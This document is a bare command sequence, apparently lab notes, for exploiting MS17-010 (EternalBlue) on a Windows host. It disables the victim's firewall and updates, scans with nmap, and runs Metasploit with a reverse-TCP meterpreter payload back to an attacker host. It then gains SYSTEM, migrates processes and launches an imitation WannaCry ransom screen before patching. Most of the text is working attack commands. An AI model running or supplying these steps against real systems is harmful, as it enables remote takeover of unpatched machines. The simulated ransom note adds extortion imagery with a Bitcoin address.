netsh advfirewall set allprofiles state off

netstat -an | findstr :445

sc stop wuauserv
sc config wuauserv start= disabled

ping <victim-ip>
nmap -p 445 <victim-ip>

nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <victim-ip>
set LHOST <attacker-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

meterpreter > getuid

NT AUTHORITY\SYSTEM

sysinfo
getuid
ps
screenshot
shell
whoami
ipconfig

ps
migrate <explorer.exe PID>

cat > /tmp/wannacry64.bat << 'EOF'
@echo off
title WannaCryptor Demo - SAFE SIMULATION
color 0a
mode con: cols=80 lines=25
cls

setlocal enabledelayedexpansion

set id=%random%-%random%-%random%
set /a timeleft=60

:main
cls
echo ========================================================
echo           WANNA DECRYPTOR 0.4 x64 (DEMO)
echo ========================================================
echo.
echo  All files have been encrypted!
echo.
echo  Send 0.25 BTC to:
echo  13AM4VWSEwlt4cLnoQNFfqJDwZ8m9dkVml
echo.
echo  Personal ID: %id%
echo.
echo  Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.

echo Initializing encryption...
timeout /t 2 >nul

for /l %%i in (1,1,20) do (
    set /a percent=%%i*5
    call :progress !percent!
    timeout /t 1 >nul
)

goto countdown

:progress
set bar=
set /a blocks=%1/5
for /l %%b in (1,1,!blocks!) do set bar=!bar!#
cls
echo ========================================================
echo           ENCRYPTING FILES...
echo ========================================================
echo.
echo Progress: [%bar%] %1%%
echo.

set /a randfile=%random% %% 5
if !randfile!==0 echo Encrypting: documents.docx
if !randfile!==1 echo Encrypting: photos.jpg
if !randfile!==2 echo Encrypting: database.sql
if !randfile!==3 echo Encrypting: backup.zip
if !randfile!==4 echo Encrypting: project.pptx

exit /b

:countdown
cls

:loop
cls
echo ========================================================
echo           YOUR FILES ARE ENCRYPTED
echo ========================================================
echo.
echo  Pay within the time limit or files will be lost!
echo.
echo  Time remaining: !timeleft! seconds
echo.
echo ========================================================
echo.

if !timeleft! LEQ 0 goto end

set /a timeleft-=1
timeout /t 1 >nul
goto loop

:end
cls
echo ========================================================
echo              TIME EXPIRED
echo ========================================================
echo.
echo  Your files are permanently locked.
echo.
echo  (This was a SAFE DEMO simulation)
echo.
echo ========================================================
pause
EOF

meterpreter > upload /tmp/wannacry64.bat C:\\Windows\\Temp\\wannacry64.bat
meterpreter > execute -f cmd.exe -a "/c start C:\Windows\Temp\wannacry64.bat"

wusa.exe KB4012212-x64.msu /quiet /norestart

shutdown /r /t 0

systeminfo | findstr KB4012212

nmap -p 445 --script smb-vuln-ms17-010 <victim-ip>